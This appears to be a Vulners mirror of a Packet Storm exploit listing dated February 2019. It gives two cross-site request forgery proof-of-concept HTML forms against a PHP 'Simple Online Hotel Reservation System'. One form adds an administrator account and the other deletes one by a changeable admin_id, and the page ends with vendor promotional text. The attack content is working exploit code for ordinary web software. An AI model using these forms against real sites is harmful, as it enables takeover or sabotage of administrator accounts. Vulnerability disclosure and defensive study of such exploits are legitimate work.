Lucene search
K

Simple Online Hotel Reservation System Cross Site Request Forgery

🗓️ 27 Feb 2019 00:00:00Reported by Mr Winst0nType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Simple Online Hotel Reservation System CSRF Exploi

Code
`# Exploit Title: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Add Admin)  
# Exploit Author: Mr Winst0n  
# Author E-mail: manamtabeshekan[@]gmail[.]com  
# Discovery Date: February 25, 2019  
# Vendor Homepage: https://code-projects.org/  
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/  
# Tested on: Kali linux, Windows 8.1   
  
# PoC:  
  
<html>  
<head>  
<title>Add Admin</title>  
</head>  
<body>  
<form method = "POST" action="http://localhost/[PATH]/admin/add_account.php">  
<label>Name </label>  
<input type = "text" name = "name" /><br><br>  
<label>Username </label>  
<input type = "text" name = "username" /><br><br>  
<label>Password </label>  
<input type = "password" name = "password" /><br><br>  
<button name = "add_account">Saved</button>  
</div>  
</form>  
</body>  
</html>  
  
  
  
  
  
# Exploit Title: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Delete Admin)  
# Exploit Author: Mr Winst0n  
# Author E-mail: manamtabeshekan[@]gmail[.]com  
# Discovery Date: February 25, 2019  
# Vendor Homepage: https://code-projects.org/  
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/  
# Tested on: Kali linux, Windows 8.1   
  
# PoC:  
  
<html>  
<head>  
<title>Delete Admin</title>  
</head>  
<body>  
<form method = "POST" action="http://localhost/[PATH]/admin/delete_account.php?admin_id=1">   
<!-- You can change admin_id -->  
<button>Delete</button>  
</form>  
</body>  
</html>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation